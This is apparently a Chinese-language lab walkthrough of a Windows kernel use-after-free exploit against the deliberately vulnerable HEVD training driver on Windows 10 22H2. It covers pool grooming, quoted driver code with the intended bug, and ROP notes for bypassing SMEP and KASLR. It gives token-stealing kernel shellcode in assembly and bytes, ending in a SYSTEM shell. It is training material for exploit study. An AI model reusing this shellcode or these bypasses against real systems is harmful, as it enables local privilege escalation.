HEVD-UAF

Windows Kernel NonPagedPool UAF

win10 22h2

相关代码在仓库HEVDExploits

编译项目

运行Builder/Build_HEVD_Vulnerable_x64.bat

或者VS打开项目,编译。

  • 属性->DriverSetting 先设置为win7/win10,生成x64

Windows API

#pragma alloc_text(PAGE, UseUaFObjectNonPagedPool) 是一个用于在Windows内核开发中指定函数所属代码段属性的编译指令。

  • #pragma alloc_text 是一个预处理指令,用于在编译时将函数指定到特定的代码段。
  • PAGE 是#pragma alloc_text 指令后面的参数,用于指定函数所属的代码段。PAGE 表示该函数应该被编译为适用于页码页面的代码段。

ExAllocatePoolWithTag: 分配指定类型的池内存,并返回指向已分配块的指针

1
2
3
4
5
PVOID ExAllocatePoolWithTag(
[in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType, // 要分配的池内存的类型,POOL_TYPE 枚举
[in] SIZE_T NumberOfBytes, // 要分配的字节数
[in] ULONG Tag // 要用于已分配内存的池标记,字符串通常按反向顺序指定
);

windows 内存管理器创建系统用于分配内存的以下内存池:非分页池和分页池。 这两个内存池都位于为系统保留并映射到每个进程的虚拟地址空间的地址空间区域中。内核池类似于Windows 中的堆, 因为它的作用也是用来动态分配内存

  • 非分页池由虚拟内存地址组成,只要分配了相应的内核对象,这些地址就保证驻留在物理内存中。
  • 分页池由虚拟内存组成,可以分页进出系统。
  • PagedPool简单来说就是物理内存不够时,会把这片内存移动到硬盘上,而NonPagedPool是无论物理内存如何紧缺,都绝对不把这片内存的内容移动到硬盘上。

ExFreePoolWithTag: 释放池内存

1
2
3
4
void ExFreePoolWithTag(
[in] PVOID P,
[in] ULONG Tag
);

NtAllocateReserveObject:ntdll中系统调用。负责在内核端创建保留对象–在内核池上执行内存分配,返回Handle

1
2
3
4
5
NTSTATUS STDCALL NtAllocateReserveObject(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType
)

驱动层权限提升

内核数据结构包含了一个指向token的指针。当进程试图去执行各种操作时,比如打开一个文件,token中的账户权限会用于和所需的权限进行比较,以此决定该操作是否可行。

Windows提权:获取 nt authority\system权限

  • 将SYSTEM进程的token复制到当前进程,这样当前进程则为system权限(1)
  • 编辑ACL/ACE 或者 直接修改token中的dt _token : +0x040 Privileges: _SEP_TOKEN_PRIVILEGES以达到权限提升的目的,此方法有一个好处是被修改进程的用户名等信息不会改变,只是权限改变了(2)

测试

首先找到System进程的16进制地址

1
2
3
4
5
6
7
8
9
10
11
0: kd> !dml_proc
Address PID Image file name
ffff940f`cfea7080 4 System
...
ffff940f`d7240080 2270 cmd.exe

0: kd> !process 0 0 system
PROCESS ffff940fcfea7080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffffe78dfac04800 HandleCount: 3023.
Image: System

它指向一个_EPROCESS结构,查看,一个比较大的结构体

1
2
3
4
5
6
7
8
9
10
0: kd> dt _EPROCESS ffff940f`cfea7080
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : 0x00000000`00000004 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff940f`cff084c8 - 0xfffff803`7181e130 ]
+0x458 RundownProtect : _EX_RUNDOWN_REF
...
+0x4b8 Token : _EX_FAST_REF
...

可以看到token偏移(根据系统进行变化,并且token字段是以_EX_FAST_REF来声明的而不是_TOKEN

1
2
3
4
5
6
7
8
0: kd> dq ffffe78dfac04800+4b8 L1
ffffe78d`fac04cb8 ffffe78d`fac0c05e

0: kd> dt _EX_FAST_REF ffffe78dfac04800+4b8
ntdll!_EX_FAST_REF
+0x000 Object : 0xffffe78d`fac0c05e Void
+0x000 RefCnt : 0y1110
+0x000 Value : 0xffffe78d`fac0c05e

蓝屏警告:这个 token 后四位全为0才是token

1
0: kd> !token ffffe78d`fac0c050

定位cmd.exe进程的_EPROCESS结构并替换偏移0x208的token指针值为System的token地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0: kd> !process 0 0 cmd.exe
PROCESS ffff940fd7240080
SessionId: 1 Cid: 2270 Peb: f4e7043000 ParentCid: 13bc
DirBase: 172720000 ObjectTable: ffffe78e02a18080 HandleCount: 75.
Image: cmd.exe

0: kd> dt _EX_FAST_REF +0x4b8+ffff940fd7240080
ntdll!_EX_FAST_REF
+0x000 Object : 0xffffe78e`02dcb06b Void
+0x000 RefCnt : 0y1011
+0x000 Value : 0xffffe78e`02dcb06b

0: kd> eq 0x4b8+ffff940fd7240080 0xffffe78d`fac0c050
0: kd> dt _EX_FAST_REF +0x4b8+ffff940fd7240080
ntdll!_EX_FAST_REF
+0x000 Object : 0xffffe78d`fac0c05e Void
+0x000 RefCnt : 0y1110
+0x000 Value : 0xffffe78d`fac0c05e
0: kd> g

替换成功

1
2
3
4
5
6
C:\Users\debugger>whoami
desktop-8h64pu1\debugger

# WinDbg替换
C:\Users\debugger>whoami
nt authority\system

shellcode

寻找 _KTHREAD 结构:反汇编 PsGetCurrentThread 函数

1
2
3
4
5
0: kd> uf PsGetCurrentProcess 
nt!PsGetCurrentProcess:
fffff801`3f68eea0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff801`3f68eea9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff801`3f68eeb0 c3 ret

其实gs:[188h]的位置存贮的是 _KTHREAD 结构的地址,看一下这个结构,发现0x220的位置存储的就是 _KPROCESS,但是这里是取得 0xb8, 0x98其实存储的结构是_KAPC_STATE0x20位置存储的就是_KPROCESS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0: kd> dt _KTHREAD
...
+0x098 ApcStateFill : [43] UChar
+0x0c3 Priority : Char
...

0: kd> dt _KAPC_STATE
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x020 Process : Ptr64 _KPROCESS
+0x028 InProgressFlags : UChar
+0x028 KernelApcInProgress : Pos 0, 1 Bit
+0x028 SpecialApcInProgress : Pos 1, 1 Bit
+0x029 KernelApcPending : UChar
+0x02a UserApcPendingAll : UChar
+0x02a SpecialUserApcPending : Pos 0, 1 Bit
+0x02a UserApcPending : Pos 1, 1 Bit

因此在r3寻找到 _KPROCESS 的实现

1
2
3
4
5
mov r9, qword ptr gs:[0x188]  
mov r9, qword ptr[r9+0x0B8]
// 或者
mov r9, qword ptr gs:[0x188]
mov r9, qword ptr[r9+0x220]

_EPROCESS是包含了_KPROCESS的结构体,他们的起始地址是一样的,我们可以通过dt来查看

  • 内核用来跟踪进程的结构是KPROCESS。 执行子系统用来跟踪它的结构是EPROCESS。 作为一个实现细节,KPROCESS是EPROCESS的第一个字段,所以执行子系统分配EPROCESS结构,然后调用coreel来初始化它的KPROCESS部分。最后,这两个结构都是表示用户进程实例的Process Object的一部分。
  • Stack Overflow寻找答案

第一个元素就是 _KPROCESS, UniqueProcessId 存储的是当前进程的pid,InheritedFromUniqueProcessId存储的是父进程的pid

1
2
3
4
5
6
7
8
9
10
0: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
...
+0x540 InheritedFromUniqueProcessId : Ptr64 Void
+0x548 OwnerProcessId : Uint8B
...

因为程序大多数在cmd.exe启动,因此我们获得的是 cmd 的 _KPROCESS,我们需要替换的是这个,我们需要寻找到system进程token

链表元素就是 ActiveProcessLinks,接下来遍历这个链表就可以找到system(pid=4)的_KPROCESS。参考这里,修改偏移为当前系统的

  • EPROCESS 在 KTHREAD + 0xb8
  • ActiveProcessLinks 在 EPROCESS + 0x448
  • ActiveProcessLinks 距离 Token 距离
  • token 在 EPROCESS + 0x4b8 处
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    mov rdx, [gs:188h]       ;get _ETHREAD pointer from KPCR
mov r8, [rdx+0xb8] ;_EPROCESS (see PsGetCurrentProcess function)
mov r9, [r8+0x448] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system_proc:
mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId
cmp rdx, 4 ;process with ID 4 is System process
jz found_it
mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer
cmp rcx, r9 ;see if back at list head
jnz find_system_proc
found_it:
mov rax, [rcx+0x80] ;offset from ActiveProcessLinks to Token
and al, 0xf0 ;clear low 4 bits of _EX_FAST_REF structure
mov [r8+0x4b8], rax ;replace current process token with system token
ret

寻找合适的对象

池喷射需要找到适合大小的内核对象以及池对象,使用windbg分析

1
2
3
4
!object \ObjectTypes

dt nt!_OBJECT_TYPE <addr>
dt nt!_OBJECT_TYPE_INITIALIZER <addr>

源码审计

在存在漏洞的驱动里,对象free后没有置为NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
NTSTATUS
FreeUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;

PAGED_CODE();

__try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);

#ifdef SECURE
//
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
//

ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

//
// Set to NULL to avoid dangling pointer
//

g_UseAfterFreeObjectNonPagedPool = NULL;
#else
//
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
// Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
// (dangling pointer)
//

ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif

Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

然后就可以UAF调用callback函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
NTSTATUS
UseUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;

PAGED_CODE();

__try
{
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
DbgPrint("[+] Calling Callback\n");

if (g_UseAfterFreeObjectNonPagedPool->Callback)
{
g_UseAfterFreeObjectNonPagedPool->Callback();
}

Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

漏洞利用

两个版本

  • NonPagedPool 这个池的内容是可以执行的
  • 一个是 Nx 版本,也就是不可执行版本。

g_UseAfterFreeObjectNonPagedPool 初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
NTSTATUS
AllocateUaFObjectNonPagedPool(
VOID
)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;

PAGED_CODE();

__try
{
DbgPrint("[+] Allocating UaF Object\n");

//
// Allocate Pool chunk
//

UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
(ULONG)POOL_TAG
);

if (!UseAfterFree)
{
//
// Unable to allocate Pool chunk
//

DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
}

//
// Fill the buffer with ASCII 'A'
//

RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

//
// Null terminate the char buffer
//

UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

//
// Set the object Callback function
//

UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;

//
// Assign the address of UseAfterFree to a global variable
//

g_UseAfterFreeObjectNonPagedPool = UseAfterFree;

DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

UAF结构体

1
2
3
4
5
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

寻找IoctlCode:反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case 0x222013:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n";
goto LABEL_64;
case 0x222017:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = UseUaFObjectNonPagedPoolIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n";
goto LABEL_64;
case 0x22201B:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n";

NonPagedPool,其alloc的大小为0x60

1
PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPool, 0x60ui64, 0x6B636148u);

思路:UAF劫持callback函数,让其执行提权的代码。

Exploit NonPagedPool

加载驱动,查看是否加载成功

1
0: kd> lm m H*

打断点和显示DbgPrint信息

  • DebugBreak() 应用程序触发kenel debug断点

打印出所有的信息

1
0: kd> ed nt!Kd_DEFAULT_MASK 0xFFFFFFFF

因为存在 Tag 可以寻找pool,比较花时间,可以在DebugView里寻找信息.!poolfind 命令不会计算头部,!pool 会计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0: kd> !poolused 2 Hack
0: kd> !poolfind Hack -nonpaged
3: kd> g
***** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******
[+] Allocating UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x60
[+] Pool Chunk: 0xFFFFA78BEF702B50
[+] UseAfterFree Object: 0xFFFFA78BEF702B50
[+] g_UseAfterFreeObjectNonPagedPool: 0xFFFFA78BEF702B50
[+] UseAfterFree->Callback: 0xFFFFF8012D287CD0
****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******
Break instruction exception - code 80000003 (first chance)
0033:00007ff9`b21bb6d2 cc int 3
1: kd> !pool 0xFFFFA78BEF702B50
Pool page ffffa78bef702b50 region is Nonpaged pool
ffffa78bef702000 size: 30 previous size: 0 (Free) ....
# ...
ffffa78bef7029a0 size: 90 previous size: 0 (Allocated) FSim

查看内存信息

1
2
3
4
5
6
7
8
9
1: kd> dq 0xFFFFA78BEF702B50
ffffa78b`ef702b50 fffff801`2d287cd0 41414141`41414141
ffffa78b`ef702b60 41414141`41414141 41414141`41414141
ffffa78b`ef702b70 41414141`41414141 41414141`41414141
ffffa78b`ef702b80 41414141`41414141 41414141`41414141
ffffa78b`ef702b90 41414141`41414141 41414141`41414141
ffffa78b`ef702ba0 41414141`41414141 00000000`00414141
ffffa78b`ef702bb0 fe8fc5c0`d7167489 00000000`00000000
ffffa78b`ef702bc0 00000000`00000000 ffffa78b`ef714039

pool 实际大小,需要加入一个头部信息,并且内存对齐。pool header

1
2
3
4
5
6
7
8
9
10
11
 ffffa78bef702900 size:   90 previous size:    0  (Allocated)  FSim
ffffa78bef7029a0 size: 90 previous size: 0 (Allocated) FSim

1: kd> !poolused 2 Hack
Using a machine size of 1ffe7e pages to configure the kd cache
....
Sorting by NonPaged Pool Consumed
NonPaged Paged
Tag Allocs Used Allocs Used
Hack 1 112 0 0 UNKNOWN pooltag 'Hack', please update pooltag.txt
TOTAL 1 112 0 0

因此实际获得的大小:0x70,内存对齐

内核池喷射是一项使池中分配位置可预测的艺术。这意味着你可以知道一个块将被分配到哪里,哪些块在其附近。

触发UAF前,需要使用 heap fengshui

free后被合并,因此为了提高成功率,就创建hole,然后使用漏洞对象进行占位

1
*ffffa78bef702a30 size:  5b0 previous size:    0  (Free)      *...~

参考(6),获得两个句柄 0xac, 0xb0

1
2
3
4
5
6
7
8
9
10
0: kd> !poolused 2 NpFr
Using a machine size of 1ffe7e pages to configure the kd cache
...
Sorting by NonPaged Pool Consumed
NonPaged Paged
Tag Allocs Used Allocs Used

NpFr 1 112 0 0 DATA_ENTRY records (read/write buffers) , Binary: npfs.sys

TOTAL 1 112 0 0

写入UAF,存在一个FAKE_OBJECT,可以进行写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
case 0x22201F:
DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
FakeObjectNonPagedPoolNxIoctlHandler = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, CurrentStackLocation);
v7 = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n";
goto LABEL_64;
...

int __fastcall AllocateFakeObjectNonPagedPoolIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // rcx
int result; // eax

Parameters = IrpSp->Parameters.CreatePipe.Parameters;
result = 0xC0000001;
if ( Parameters )
return AllocateFakeObjectNonPagedPool((_FAKE_OBJECT_NON_PAGED_POOL *)Parameters);
return result;
}

...
__int64 __fastcall AllocateFakeObjectNonPagedPool(_FAKE_OBJECT_NON_PAGED_POOL *UserFakeObject)
{
_OWORD *PoolWithTag; // rdi

DbgPrintEx(0x4Du, 3u, "[+] Creating Fake Object\n");
PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, 0x5Cui64, 0x6B636148u);
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%zX\n", 0x5Cui64);
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ProbeForRead(UserFakeObject, 0x5Cui64, 1u);
*PoolWithTag = *(_OWORD *)UserFakeObject->Buffer;
PoolWithTag[1] = *(_OWORD *)&UserFakeObject->Buffer[16];
PoolWithTag[2] = *(_OWORD *)&UserFakeObject->Buffer[32];
PoolWithTag[3] = *(_OWORD *)&UserFakeObject->Buffer[48];
PoolWithTag[4] = *(_OWORD *)&UserFakeObject->Buffer[64];
*((_QWORD *)PoolWithTag + 10) = *(_QWORD *)&UserFakeObject->Buffer[80];
*((_DWORD *)PoolWithTag + 22) = *(_DWORD *)&UserFakeObject->Buffer[88];
*((_BYTE *)PoolWithTag + 91) = 0;
DbgPrintEx(0x4Du, 3u, "[+] Fake Object: 0x%p\n", PoolWithTag);
return 0i64;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
return 3221225495i64;
}
}

打两个断点,成功写入

1
2
3
4
5
6
7
8
9
3: kd> dq 0xFFFFA78BF933D540
ffffa78b`f933d540 00000000`deadbeef 00000000`00000000
ffffa78b`f933d550 00000000`00000000 00000000`00000000
ffffa78b`f933d560 00000000`00000000 00000000`00000000
ffffa78b`f933d570 00000000`00000000 00000000`00000000
ffffa78b`f933d580 00000000`00000000 00000000`00000000
ffffa78b`f933d590 00000000`00000000 00000000`00000000
ffffa78b`f933d5a0 6b636148`02070000 00000000`00000000
ffffa78b`f933d5b0 00000000`deadbeef 00000000`00000000

shellcode

使用keystone生成汇编

或者参考HEVD/HEVD_UAF_WIN10_21H2.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{ 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xC3, 0x48, 0x8B, 0x9B, 0x48, 0x04, 0x00, 0x00, 0x48, 0x81, 0xEB, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x8B, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xF9, 0x04, 0x75, 0xE5, 0x48, 0x8B, 0x8B, 0xB8, 0x04, 0x00, 0x00, 0x80, 0xE1, 0xF0, 0x48, 0x89, 0x88, 0xB8, 0x04, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xC3 }
// 反汇编
0:  65 48 8b 04 25 88 01    mov    rax,QWORD PTR gs:0x188
7:  00 00
9:  48 8b 80 b8 00 00 00    mov    rax,QWORD PTR [rax+0xb8]
10: 48 89 c3                mov    rbx,rax
13: 48 8b 9b 48 04 00 00    mov    rbx,QWORD PTR [rbx+0x448]
1a: 48 81 eb 48 04 00 00    sub    rbx,0x448
21: 48 8b 8b 40 04 00 00    mov    rcx,QWORD PTR [rbx+0x440]
28: 48 83 f9 04             cmp    rcx,0x4
2c: 75 e5                   jne    0x13
2e: 48 8b 8b b8 04 00 00    mov    rcx,QWORD PTR [rbx+0x4b8]
35: 80 e1 f0                and    cl,0xf0
38: 48 89 88 b8 04 00 00    mov    QWORD PTR [rax+0x4b8],rcx
3f: 48 31 c0                xor    rax,rax
42: c3                      ret

是写成功了

1
2
3
4
5
6
7
8
9
3: kd> dq 0xFFFFDC04FE779850
ffffdc04`fe779850 00018825`048b4865 000000b8`808b4800
ffffdc04`fe779860 04489b8b`48c38948 000448eb`81480000
ffffdc04`fe779870 00000440`8b8b4800 8b48e575`04f98348
ffffdc04`fe779880 f0e18000`0004b88b 48000004`b8888948
ffffdc04`fe779890 00000000`00c3c031 00007ff7`85ad32d8
ffffdc04`fe7798a0 00000000`00000000 00000000`00413f2e
ffffdc04`fe7798b0 6b636148`02070000 61005400`00000000
ffffdc04`fe7798c0 00018825`048b4865 000000b8`808b4800

但是直接写无法运行,无法提权:保护机制的绕过。

ROP

bypass KASLR: 获取内核基址 ntoskrnl.exe 地址:遍历驱动,获取内核基址
bypass SEMP/SMAP: 修改CR4寄存器,将20,21位置0
bypass KVA Sahdow: 内核页表隔离KVA(KPTI),也就是KVA Shadow,当执行内核代码时,用户态代码记录为 NX

  • AllocPoolWithTag 获得的内存一般是可执行的,因此可以往内存中写,然后执行
  • 执行swapgs绕过

如果CR4寄存器的第20位被设置为1,那么就启用了SMEP;21位smap Cr0-Cr4。这里看到smep,smap都存在。SMEP存在就可以执行用户态代码

1
2
3
4
5
6
7
8
9
10
11
12
13
2: kd> r cr4
cr4=0000000000350ef8
2: kd> .formats cr4
Evaluate expression:
Hex: 00000000`00350ef8
Decimal: 3477240
Decimal (unsigned) : 3477240
Octal: 0000000000000015207370
Binary: 00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
Chars: .....5..
Time: Tue Feb 10 13:54:00 1970
Float: low 4.87265e-039 high 0
Double: 1.71798e-317

寻找ROP:使用ropper/ROPgadget工具,在 ntoskrnl.exe 寻找

  • C:\Windows\WinSxS\amd64_microsoft-windows-os-kernelxxx\ntoskrnl.exe

寻找gadget

1
2
3
4
5
(ntoskrnl.exe/PE/x86_64)> imagebase 0x0
[INFO] Imagebase set to 0x0

(ntoskrnl.exe/PE/x86_64)> search mov cr4, r
...

参考:Windows Kernel Exploitation x64 Stack Overflow 为了不崩溃,shellcode需要添加bypass KVA Shadow。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[BITS 64]
start:
mov rax, [gs:0x188] ; KPCRB.CurrentThread (_KTHREAD)
mov rax, [rax + 0xb8] ; APCState.Process (current _EPROCESS)
mov r8, rax ; Store current _EPROCESS ptr in RBX

loop:
mov r8, [r8 + 0x448] ; ActiveProcessLinks
sub r8, 0x448 ; Go back to start of _EPROCESS
mov r9, [r8 + 0x440] ; UniqueProcessId (PID)
cmp r9, 4 ; SYSTEM PID?
jnz loop ; Loop until PID == 4

replace:
mov rcx, [r8 + 0x4b8] ; Get SYSTEM token
and cl, 0xf0 ; Clear low 4 bits of _EX_FAST_REF structure
mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process

cleanup:
mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread
mov cx, [rax + 0x1e4] ; KTHREAD.KernelApcDisable
inc cx
mov [rax + 0x1e4], cx
mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame
mov rcx, [rdx + 0x168] ; ETHREAD.TrapFrame.Rip
mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags
mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp
mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp
xor eax, eax ;
swapgs
o64 sysret

某个地址读写,断点

1
kd> ba e1 <ObjectAddr>

最终结果

1
2
3
4
5
6
7
8
9
10
11
C:\Users\debugger>C:\Users\debugger\Desktop\HEVDExploit.exe
[*] Spray use write pipe
[*] Create UAF Object then free
[*] Prepare shellcode
[*] Spray to get the UAF object then write shellcode
[*] Trigger UAF callback
Microsoft Windows [版本 10.0.19045.3930]
(c) Microsoft Corporation。保留所有权利。

C:\Users\debugger>whoami
nt authority\system

tip: kernel可以访问VirtualAlloc的内存区域,但是最好不允许换出内存。

因为 NonPagedPool 是有可执行权限的😢

1
2
3
4
5
6
7
8
9
LPVOID pShellcode = VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(pShellcode, StealToken, 0x100);

...

LPVOID pKernelStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!VirtualLock(pKernelStack, 0x14000)) {
Error("VirtualLock");
}

update

因为这里的内存池是NonPagedPool,存在可执行权限,因此是可以写shellcode的

参考的文章,池风水使用了NamedPipe,可能没什么用,因为NamedPipe在NonPagedPoolNx中获得,不是一个pool,因此没必要spray named pipe

Exploit NonPagedPoolNx

没有执行权限

NonPagedPool的exp也可以使用。

其余做法:HEVD

  • 使用FakeObj来伪造一个NamedPipe,结合double free从而可以任意的读
  • 使用NtFsControlFile将NamedPipe改成unbuffered
  • 修改 Irp->SystemBuffer 任意写

Q&A

Windows 无法验证此设备所需的驱动程序的数字签名。某软件或硬件最近有所更改,可能安装了签名错误或损毁的文件,或者安装的文件可能是来路不明的恶意软件。

  • 更新与安全->恢复->高级启动->立刻重新启动->疑难解答->高级选项->禁用驱动强制签名(F7

永久禁用驱动签名?不行?

1
bcdedit /set nointegritychecks on

加载HEVD驱动,我们得先找到其驱动目录,因此我们可以创建目录,将pdb文件扔进去

1
2
3
4
5
6
7
8
9
10
11
12
13
0: kd> !sym noisy
noisy mode - symbol prompts on

# 显示符号
0: kd> x /D HEVD!*
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

SYMSRV: BYINDEX: 0x8
c:\symbols*https://msdl.microsoft.com/download/symbols
HEVD.pdb
1A8235FDCA7F46E08A07A47D79B5A8991
SYMSRV: UNC: c:\symbols\HEVD.pdb\1A8235FDCA7F46E08A07A47D79B5A8991\HEVD.pdb - path not found
...

More

翻到了一篇CVE分析,其中利用到了token替换技术:CVE-2022-37969 漏洞利用,一个优秀的利用对象:pipe

1
2
3
4
5
6
BOOL CreatePipe(
